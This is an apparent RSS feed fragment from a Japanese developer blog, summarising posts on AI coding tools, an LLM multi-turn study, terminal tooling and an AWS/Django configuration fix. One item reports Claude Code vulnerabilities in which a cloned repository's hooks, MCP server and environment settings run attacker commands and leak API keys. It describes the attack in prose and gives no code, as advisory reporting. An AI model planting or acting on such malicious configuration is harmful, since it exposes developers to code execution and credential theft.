└── assets/ # 任意: テンプレート、画像等
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;SKILL.md の例:&lt;/p&gt;</description></item><item><title>Agent Plugins for AWS — AI コーディングエージェントに AWS の専門知識を装着する</title><link>https://hdknr.github.io/blogs/posts/2026/02/agent-plugins-for-aws-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AB-aws-%E3%81%AE%E5%B0%82%E9%96%80%E7%9F%A5%E8%AD%98%E3%82%92%E8%A3%85%E7%9D%80%E3%81%99%E3%82%8B/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/agent-plugins-for-aws-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AB-aws-%E3%81%AE%E5%B0%82%E9%96%80%E7%9F%A5%E8%AD%98%E3%82%92%E8%A3%85%E7%9D%80%E3%81%99%E3%82%8B/</guid><description>&lt;h1 id="agent-plugins-for-aws--ai-コーディングエージェントに-aws-の専門知識を装着する"&gt;Agent Plugins for AWS — AI コーディングエージェントに AWS の専門知識を装着する&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;紹介ポスト: &lt;a href="https://x.com/moritalous/status/2024141790367150402"&gt;moritalous&lt;/a&gt;
公式ブログ: &lt;a href="https://aws.amazon.com/blogs/developer/introducing-agent-plugins-for-aws/"&gt;Introducing Agent Plugins for AWS | AWS Developer Tools Blog&lt;/a&gt;
リポジトリ: &lt;a href="https://github.com/awslabs/agent-plugins"&gt;awslabs/agent-plugins&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;2026年2月、AWS は &lt;strong&gt;Agent Plugins for AWS&lt;/strong&gt; をオープンソースで公開した。Claude Code や Cursor といった AI コーディングエージェントに &lt;strong&gt;AWS の専門知識を「スキル」として装着する&lt;/strong&gt;プラグインライブラリである。&lt;/p&gt;
&lt;p&gt;これは単なる CLI ラッパーではない。AI エージェントが&lt;strong&gt;アーキテクチャ設計 → コスト見積もり → IaC 生成 → デプロイ&lt;/strong&gt;までを一貫して実行できる「AWS ドメイン能力層」を追加するもの。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;従来: 開発者が AWS ドキュメントを読み → 設計を考え → CDK/CFn を書き → デプロイ
今後: 「deploy to AWS」と言うだけ → AI が全工程を実行（人間は確認・承認のみ）
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id="agent-plugin-とは何か"&gt;Agent Plugin とは何か&lt;/h2&gt;
&lt;h3 id="プラグインの構成要素"&gt;プラグインの構成要素&lt;/h3&gt;
&lt;p&gt;Agent Plugin は4つの部品を1つのパッケージにまとめたもの。&lt;/p&gt;</description></item><item><title>AI は会話が長くなるほど「迷子」になる — Microsoft × Salesforce の研究解説</title><link>https://hdknr.github.io/blogs/posts/2026/02/ai-%E3%81%AF%E4%BC%9A%E8%A9%B1%E3%81%8C%E9%95%B7%E3%81%8F%E3%81%AA%E3%82%8B%E3%81%BB%E3%81%A9%E8%BF%B7%E5%AD%90%E3%81%AB%E3%81%AA%E3%82%8B-microsoft-salesforce-%E3%81%AE%E7%A0%94%E7%A9%B6%E8%A7%A3%E8%AA%AC/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/ai-%E3%81%AF%E4%BC%9A%E8%A9%B1%E3%81%8C%E9%95%B7%E3%81%8F%E3%81%AA%E3%82%8B%E3%81%BB%E3%81%A9%E8%BF%B7%E5%AD%90%E3%81%AB%E3%81%AA%E3%82%8B-microsoft-salesforce-%E3%81%AE%E7%A0%94%E7%A9%B6%E8%A7%A3%E8%AA%AC/</guid><description>&lt;h1 id="ai-は会話が長くなるほど迷子になる--microsoft--salesforce-の衝撃の研究"&gt;AI は会話が長くなるほど「迷子」になる — Microsoft × Salesforce の衝撃の研究&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;紹介ポスト: &lt;a href="https://x.com/kosuke_agos/status/2023934450929987864"&gt;kosuke_agos&lt;/a&gt;
論文: &lt;a href="https://arxiv.org/html/2505.06120v1"&gt;LLMs Get Lost In Multi-Turn Conversation&lt;/a&gt;
Microsoft Research: &lt;a href="https://www.microsoft.com/en-us/research/publication/llms-get-lost-in-multi-turn-conversation/"&gt;公式ページ&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;「AI と長く会話するほど、AI の知能が劣化する」— これは体感ではなく、Microsoft Research と Salesforce Research が &lt;strong&gt;20万件以上の AI 会話を分析&lt;/strong&gt; して科学的に証明した事実である。&lt;/p&gt;
&lt;p&gt;論文タイトルは &lt;strong&gt;&amp;ldquo;LLMs Get Lost In Multi-Turn Conversation&amp;rdquo;&lt;/strong&gt;（LLM はマルチターン会話で迷子になる）。GPT-4.1、Claude 3.7 Sonnet、Gemini 2.5 Pro を含む 15 モデル全てで、会話が長くなるほど性能が劇的に低下することが明らかになった。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="衝撃の数字"&gt;衝撃の数字&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指標&lt;/th&gt;
&lt;th&gt;数値&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;平均性能低下&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;39%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;不安定性（unreliability）の増大&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+112%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;精度の変化&lt;/td&gt;
&lt;td&gt;90% → 約 51%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;テストしたモデル数&lt;/td&gt;
&lt;td&gt;15（大小問わず全て劣化）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;最も重要な発見: &lt;strong&gt;高性能モデルも小型モデルも、同じように劣化する&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;Claude 3.7 Sonnet、Gemini 2.5 Pro、GPT-4.1 といったトップモデルでも 30〜40% の性能低下が観測された。モデルの「賢さ」では回避できない、構造的な問題であることが判明した。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="研究チームと手法"&gt;研究チームと手法&lt;/h2&gt;
&lt;h3 id="著者"&gt;著者&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;名前&lt;/th&gt;
&lt;th&gt;所属&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Philippe Laban&lt;/td&gt;
&lt;td&gt;Microsoft Research&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hiroaki Hayashi&lt;/td&gt;
&lt;td&gt;Salesforce Research&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yingbo Zhou&lt;/td&gt;
&lt;td&gt;Salesforce Research&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Jennifer Neville&lt;/td&gt;
&lt;td&gt;Microsoft Research&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="テスト対象モデル15種"&gt;テスト対象モデル（15種）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OpenAI&lt;/strong&gt;: GPT-4o-mini, GPT-4o, o3, GPT-4.1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Anthropic&lt;/strong&gt;: Claude 3 Haiku, Claude 3.7 Sonnet&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google&lt;/strong&gt;: Gemini 2.5 Flash, Gemini 2.5 Pro&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Meta&lt;/strong&gt;: Llama 3.1-8B, Llama 3.3-70B, Llama 4 Scout&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;その他&lt;/strong&gt;: Microsoft Phi-4, AI2 OLMo-2-13B, Deepseek-R1, Cohere Command-A&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="shardingシャーディング-現実の会話を再現する手法"&gt;Sharding（シャーディング）— 現実の会話を再現する手法&lt;/h3&gt;
&lt;p&gt;ユーザーは通常、最初から完璧な指示を出さない。&lt;/p&gt;</description></item><item><title>Claude Code に重大な脆弱性 — リポジトリを開くだけで任意コード実行の恐れ</title><link>https://hdknr.github.io/blogs/posts/2026/02/claude-code-%E3%81%AB%E9%87%8D%E5%A4%A7%E3%81%AA%E8%84%86%E5%BC%B1%E6%80%A7-%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E3%82%92%E9%96%8B%E3%81%8F%E3%81%A0%E3%81%91%E3%81%A7%E4%BB%BB%E6%84%8F%E3%82%B3%E3%83%BC%E3%83%89%E5%AE%9F%E8%A1%8C%E3%81%AE%E6%81%90%E3%82%8C/</link><pubDate>Thu, 26 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/claude-code-%E3%81%AB%E9%87%8D%E5%A4%A7%E3%81%AA%E8%84%86%E5%BC%B1%E6%80%A7-%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E3%82%92%E9%96%8B%E3%81%8F%E3%81%A0%E3%81%91%E3%81%A7%E4%BB%BB%E6%84%8F%E3%82%B3%E3%83%BC%E3%83%89%E5%AE%9F%E8%A1%8C%E3%81%AE%E6%81%90%E3%82%8C/</guid><description>&lt;h1 id="claude-code-に重大な脆弱性--リポジトリを開くだけで任意コード実行の恐れ"&gt;Claude Code に重大な脆弱性 — 「リポジトリを開くだけ」で任意コード実行の恐れ&lt;/h1&gt;
&lt;p&gt;セキュリティ企業 Check Point が、Anthropic の AI コーディング支援ツール &lt;strong&gt;Claude Code&lt;/strong&gt; に複数の重大な脆弱性を発見したと報告しました。細工されたリポジトリを開くだけで不正なコマンドが実行される恐れがあり、AI 開発ツールの信頼モデルに一石を投じる内容です。&lt;/p&gt;
&lt;h2 id="何が起きたのか"&gt;何が起きたのか&lt;/h2&gt;
&lt;p&gt;Claude Code には &lt;strong&gt;Hooks&lt;/strong&gt;（ツール実行前後にシェルコマンドを自動実行する仕組み）、&lt;strong&gt;MCP サーバー&lt;/strong&gt;（外部ツール連携）、&lt;strong&gt;環境変数&lt;/strong&gt;の読み込みといった設定機構があります。これらが悪用されることで、未信頼のディレクトリで Claude Code を起動した際に、&lt;strong&gt;任意のシェルコマンド実行&lt;/strong&gt;や &lt;strong&gt;Anthropic API キーの流出&lt;/strong&gt;が可能となることが判明しました。&lt;/p&gt;
&lt;p&gt;つまり、攻撃者が悪意ある設定ファイルを仕込んだ Git リポジトリを用意し、開発者がそれを &lt;code&gt;git clone&lt;/code&gt; して Claude Code を起動するだけで攻撃が成立します。&lt;/p&gt;
&lt;h2 id="報告された脆弱性"&gt;報告された脆弱性&lt;/h2&gt;
&lt;h3 id="cve-2025-59536cvss-87--high-コードインジェクション"&gt;CVE-2025-59536（CVSS 8.7 / High）— コードインジェクション&lt;/h3&gt;
&lt;p&gt;ツールの初期化時に自動実行を許すコードインジェクションの脆弱性です。Hooks や MCP サーバーの設定を悪用し、Claude Code が起動した瞬間に攻撃者のコマンドが実行されます。リモートコード実行（RCE）に直結する、最も深刻な問題です。&lt;/p&gt;
&lt;h3 id="cve-2026-21852cvss-53--medium-情報漏えい"&gt;CVE-2026-21852（CVSS 5.3 / Medium）— 情報漏えい&lt;/h3&gt;
&lt;p&gt;プロジェクト読み込み時に環境変数の値が外部に漏洩する可能性がある脆弱性です。Anthropic API キーなどの機密情報が窃取されると、攻撃者がそのアカウントで API を不正利用できてしまいます。&lt;/p&gt;
&lt;h3 id="その他の脆弱性"&gt;その他の脆弱性&lt;/h3&gt;
&lt;p&gt;上記 2 件以外にも、同等の深刻度を持つ欠陥が確認されています。&lt;/p&gt;
&lt;h2 id="なぜ危険なのか--設定ファイルが攻撃経路になる"&gt;なぜ危険なのか — 設定ファイルが攻撃経路になる&lt;/h2&gt;
&lt;p&gt;従来のセキュリティモデルでは「コードを実行しなければ安全」という前提がありました。しかし今回の脆弱性では、&lt;strong&gt;設定ファイル自体が攻撃経路&lt;/strong&gt;となります。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;設定機構&lt;/th&gt;
&lt;th&gt;通常の用途&lt;/th&gt;
&lt;th&gt;悪用方法&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Hooks&lt;/td&gt;
&lt;td&gt;ツール実行前後にシェルコマンドを自動実行&lt;/td&gt;
&lt;td&gt;悪意あるコマンドを起動時に自動実行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MCP サーバー&lt;/td&gt;
&lt;td&gt;外部ツールとの連携設定&lt;/td&gt;
&lt;td&gt;偽サーバーを指定しデータを外部送信&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;環境変数&lt;/td&gt;
&lt;td&gt;API キーなどの機密情報管理&lt;/td&gt;
&lt;td&gt;設定ファイル経由で値を外部に流出&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;開発者が日常的に行う「リポジトリを clone して開発環境を立ち上げる」という行為自体がリスクになるという点で、VS Code の &lt;code&gt;.vscode/&lt;/code&gt; 設定を悪用する攻撃と同種のパターンです。ただし AI ツールはファイルシステムへの広範なアクセス権とシェルコマンドの実行権を持つため、影響はより深刻になりえます。&lt;/p&gt;</description></item><item><title>cmux — AIコーディングエージェント時代のターミナル紹介</title><link>https://hdknr.github.io/blogs/posts/2026/02/cmux-ai%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E3%82%BF%E3%83%BC%E3%83%9F%E3%83%8A%E3%83%AB%E7%B4%B9%E4%BB%8B/</link><pubDate>Thu, 26 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/cmux-ai%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E3%82%BF%E3%83%BC%E3%83%9F%E3%83%8A%E3%83%AB%E7%B4%B9%E4%BB%8B/</guid><description>&lt;h1 id="cmux--aiコーディングエージェント時代のターミナル"&gt;cmux — AIコーディングエージェント時代のターミナル&lt;/h1&gt;
&lt;h2 id="cmux-とは"&gt;cmux とは？&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;cmux&lt;/strong&gt; は、AIコーディングエージェントとの並行作業に最適化された &lt;strong&gt;macOS ネイティブのターミナルアプリ&lt;/strong&gt; です。&lt;a href="https://ghostty.org/"&gt;Ghostty&lt;/a&gt; の描画エンジン (libghostty) をベースに、Swift + AppKit でゼロから構築されています。&lt;/p&gt;
&lt;p&gt;Electron ではなくネイティブ実装なので、起動は高速、メモリ消費も少なく、GPU アクセラレーションによる滑らかな描画が特徴です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;The terminal built for AI coding agents&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;公式サイト: &lt;a href="https://cmux.dev"&gt;https://cmux.dev&lt;/a&gt;&lt;br&gt;
GitHub: &lt;a href="https://github.com/manaflow-ai/cmux"&gt;https://github.com/manaflow-ai/cmux&lt;/a&gt; (AGPL-3.0)&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="なぜ-cmux-が必要なのか"&gt;なぜ cmux が必要なのか？&lt;/h2&gt;
&lt;p&gt;Claude Code、Codex、Gemini CLI、Aider、Goose など、ターミナルベースの AI エージェントを日常的に使う開発者が増えています。しかし従来のターミナルや tmux では、&lt;strong&gt;複数のエージェントセッションを並行管理&lt;/strong&gt;するのが大変でした。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;「どのタブでどのエージェントが動いてるか分からない」&lt;/li&gt;
&lt;li&gt;「エージェントが質問してるのに気づかなかった」&lt;/li&gt;
&lt;li&gt;「開発サーバーの確認のためにブラウザとターミナルを行き来するのが面倒」&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;cmux はこれらの課題を解決するために設計されています。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="主な機能"&gt;主な機能&lt;/h2&gt;
&lt;h3 id="1-縦タブバーティカルタブでワークスペースを一覧管理"&gt;1. 縦タブ（バーティカルタブ）でワークスペースを一覧管理&lt;/h3&gt;
&lt;p&gt;左サイドバーに縦並びのタブが表示され、各ワークスペースの状態が一目で分かります：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Git ブランチ名&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リンク済み PR のステータスと番号&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作業ディレクトリ&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リッスン中のポート番号&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最新の通知テキスト&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Firefox の縦タブに馴染みがある方なら、その便利さは想像がつくはず。タスクごとにワークスペースを作り、&lt;code&gt;Cmd+1〜8&lt;/code&gt; で瞬時に切り替えられます。&lt;/p&gt;
&lt;h3 id="2-通知リング--エージェントが注意を求めたら光る"&gt;2. 通知リング — エージェントが注意を求めたら光る&lt;/h3&gt;
&lt;p&gt;AIエージェントが応答を待っている時、ペインに &lt;strong&gt;青い通知リング&lt;/strong&gt; が表示されます。サイドバーのタブにも未読バッジが付くので、複数エージェントを走らせていても「見逃し」がありません。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Cmd+Shift+U&lt;/code&gt; で最新の未読通知にジャンプ&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Cmd+I&lt;/code&gt; で通知パネルを開いて一覧確認&lt;/li&gt;
&lt;li&gt;OSC 9/99/777 エスケープシーケンスを自動検知&lt;/li&gt;
&lt;li&gt;CLI からも送信可能: &lt;code&gt;cmux notify --title &amp;quot;完了&amp;quot; --body &amp;quot;ビルド成功&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-インアプリブラウザ--ターミナルの横にブラウザを並べる"&gt;3. インアプリブラウザ — ターミナルの横にブラウザを並べる&lt;/h3&gt;
&lt;p&gt;WebKit ベースのブラウザがアプリ内に統合されています。ターミナルペインの隣にブラウザを分割表示して、開発サーバーのプレビューや PR の確認がワンストップで完結します。&lt;/p&gt;</description></item><item><title>Vibe Coding 2.0 — 「何を作らないか」を知る 18 のルール</title><link>https://hdknr.github.io/blogs/posts/2026/02/vibe-coding-2.0-%E4%BD%95%E3%82%92%E4%BD%9C%E3%82%89%E3%81%AA%E3%81%84%E3%81%8B%E3%82%92%E7%9F%A5%E3%82%8B-18-%E3%81%AE%E3%83%AB%E3%83%BC%E3%83%AB/</link><pubDate>Thu, 26 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/vibe-coding-2.0-%E4%BD%95%E3%82%92%E4%BD%9C%E3%82%89%E3%81%AA%E3%81%84%E3%81%8B%E3%82%92%E7%9F%A5%E3%82%8B-18-%E3%81%AE%E3%83%AB%E3%83%BC%E3%83%AB/</guid><description>&lt;h1 id="vibe-coding-20--何を作らないかを知る-18-のルール"&gt;Vibe Coding 2.0 — 「何を作らないか」を知る 18 のルール&lt;/h1&gt;
&lt;h2 id="vibe-coding-とは前提知識"&gt;Vibe Coding とは（前提知識）&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Vibe Coding&lt;/strong&gt; は、Andrej Karpathy（OpenAI 共同創設者）が 2025 年初頭に提唱した概念で、「コードの細部を手で書く」のではなく、&lt;strong&gt;AI に自然言語で指示してコードを生成させ、&amp;ldquo;ノリ（vibe）&amp;ldquo;で開発を進める&lt;/strong&gt; スタイルを指します。Cursor や Claude Code などの AI コーディングツールの普及とともに広まりました。&lt;/p&gt;
&lt;h2 id="mvp-とは"&gt;MVP とは&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;MVP（Minimum Viable Product / 実用最小限の製品）&lt;/strong&gt; とは、顧客に価値を提供できる&lt;strong&gt;最小限の機能だけを備えた製品&lt;/strong&gt;のことです。完璧な製品を作り込んでからリリースするのではなく、核となる機能だけを素早く形にして市場に投入し、実際のユーザーからフィードバックを得ながら改善していくアプローチを指します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的:&lt;/strong&gt; アイデアが市場に受け入れられるかを、最小のコストと時間で検証する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;考え方:&lt;/strong&gt; 「完成品」ではなく「検証のための道具」。100 点を目指すのではなく、60 点で出して学ぶ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;例:&lt;/strong&gt; 動画配信サービスなら、レコメンド機能や検索機能を後回しにして、まず「動画を再生できる」だけのアプリをリリースする&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vibe Coding 2.0 の文脈では、AI ツールを活用して &lt;strong&gt;MVP を高速にシップ（出荷）する&lt;/strong&gt; ことが繰り返し強調されています。以下のルール群は、すべて「いかに早く MVP を世に出すか」を軸に設計されています。&lt;/p&gt;
&lt;h2 id="vibe-coding-20-とは"&gt;Vibe Coding 2.0 とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://x.com/Hartdrawss/status/2026198305362083910"&gt;Harshil Tomar 氏が X で投稿&lt;/a&gt; した &lt;strong&gt;「Vibe Coding 2.0: 18 Rules to be the Top 1% builder」&lt;/strong&gt; は、Vibe Coding の「次のフェーズ」を定義したものです。&lt;/p&gt;</description></item><item><title>コードレビューは CLAUDE.md / skills に書け — 同じ指摘を繰り返すな</title><link>https://hdknr.github.io/blogs/posts/2026/02/%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC%E3%81%AF-claude.md-/-skills-%E3%81%AB%E6%9B%B8%E3%81%91-%E5%90%8C%E3%81%98%E6%8C%87%E6%91%98%E3%82%92%E7%B9%B0%E3%82%8A%E8%BF%94%E3%81%99%E3%81%AA/</link><pubDate>Thu, 26 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC%E3%81%AF-claude.md-/-skills-%E3%81%AB%E6%9B%B8%E3%81%91-%E5%90%8C%E3%81%98%E6%8C%87%E6%91%98%E3%82%92%E7%B9%B0%E3%82%8A%E8%BF%94%E3%81%99%E3%81%AA/</guid><description>&lt;h1 id="コードレビューは-claudemd--skills-に書け--同じ指摘を繰り返すな"&gt;コードレビューは CLAUDE.md / skills に書け — 同じ指摘を繰り返すな&lt;/h1&gt;
&lt;h2 id="基本情報"&gt;基本情報&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;発表者:&lt;/strong&gt; 戸塚翔太（Tech Lead / EM、スタートアップ開発責任者）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;イベント:&lt;/strong&gt; 「一歩踏み込む Claude Code 活用 LT 会」（Findy 主催、2026年2月22日）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スライド:&lt;/strong&gt; &lt;a href="https://speakerdeck.com/totsukash/skillsnishu-ke-tong-zizhi-zhai-wozao-rifan-suna"&gt;Speaker Deck&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="問題提起"&gt;問題提起&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;「人間に対してレビューするの、もうやめませんか？」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;コードレビューにおいて以下のような無駄が繰り返されている:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;問題&lt;/th&gt;
&lt;th&gt;具体例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;同じ指摘の繰り返し&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;変数名の命名規則、コーディングスタイルへの指摘が毎回発生&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;修正ラリー&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;「指摘修正しました」→ 再レビュー → 再指摘 の往復&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;アーキテクチャ的な問題&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;根本的な設計の問題が PR 段階で発覚する&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これらはレビュアーの時間を奪い、開発速度のボトルネックになっている。&lt;/p&gt;
&lt;h2 id="解決策-使い捨てコメントをナレッジに変える"&gt;解決策: 使い捨てコメントをナレッジに変える&lt;/h2&gt;
&lt;p&gt;核心のアイデアは &lt;strong&gt;「レビューで出た指摘を、PR のコメントとして消費するのではなく、CLAUDE.md や skills に書き込んでナレッジとして蓄積する」&lt;/strong&gt; こと。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;従来: レビュー指摘 → PR コメント → 修正 → 忘れられる → また同じ指摘
提案: レビュー指摘 → CLAUDE.md / skills に追記 → 以降 Claude が自動で遵守
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="claudemd-に書くもの"&gt;CLAUDE.md に書くもの&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;コーディング規約（命名規則、ディレクトリ構成）&lt;/li&gt;
&lt;li&gt;アーキテクチャ上のルール（「この層でこの処理はしない」等）&lt;/li&gt;
&lt;li&gt;プロジェクト固有のパターン&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="skills-に書くもの"&gt;skills に書くもの&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;レビュー観点をスキルとして定義&lt;/li&gt;
&lt;li&gt;Claude Code が PR 作成前にセルフチェックできるようにする&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="自動化の仕組み"&gt;自動化の仕組み&lt;/h2&gt;
&lt;p&gt;2 つの適用方法が紹介されている:&lt;/p&gt;</description></item><item><title># CloudFront → ALB → Django 構成で API レスポンスの URL スキームが http:// になる問題と解決策</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-cloudfront-alb-django-%E6%A7%8B%E6%88%90%E3%81%A7-api-%E3%83%AC%E3%82%B9%E3%83%9D%E3%83%B3%E3%82%B9%E3%81%AE-url-%E3%82%B9%E3%82%AD%E3%83%BC%E3%83%A0%E3%81%8C-http/-%E3%81%AB%E3%81%AA%E3%82%8B%E5%95%8F%E9%A1%8C%E3%81%A8%E8%A7%A3%E6%B1%BA%E7%AD%96/</link><pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-cloudfront-alb-django-%E6%A7%8B%E6%88%90%E3%81%A7-api-%E3%83%AC%E3%82%B9%E3%83%9D%E3%83%B3%E3%82%B9%E3%81%AE-url-%E3%82%B9%E3%82%AD%E3%83%BC%E3%83%A0%E3%81%8C-http/-%E3%81%AB%E3%81%AA%E3%82%8B%E5%95%8F%E9%A1%8C%E3%81%A8%E8%A7%A3%E6%B1%BA%E7%AD%96/</guid><description>&lt;h1 id="cloudfront--alb--django-構成で-api-レスポンスの-url-スキームが-http-になる問題と解決策"&gt;CloudFront → ALB → Django 構成で API レスポンスの URL スキームが http:// になる問題と解決策&lt;/h1&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;AWS の CloudFront + ALB + ECS Fargate で Django REST Framework (DRF) の API サーバーを運用していたところ、API レスポンスに含まれる URL が &lt;code&gt;http://&lt;/code&gt; で返されるという問題に遭遇しました。本記事では原因の調査過程と、最終的な解決策を紹介します。&lt;/p&gt;
&lt;h2 id="構成"&gt;構成&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Client (HTTPS)
↓
CloudFront (SSL終端, us-east-1)
↓ HTTP
ALB (HTTP:80のみ受付, ap-northeast-1)
↓ HTTP
ECS Fargate (Gunicorn + Uvicorn, port 9000)
↓
Django REST Framework
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;CloudFront がSSLを終端し、ALB へは HTTP で転送する構成です。&lt;/p&gt;
&lt;h2 id="問題"&gt;問題&lt;/h2&gt;
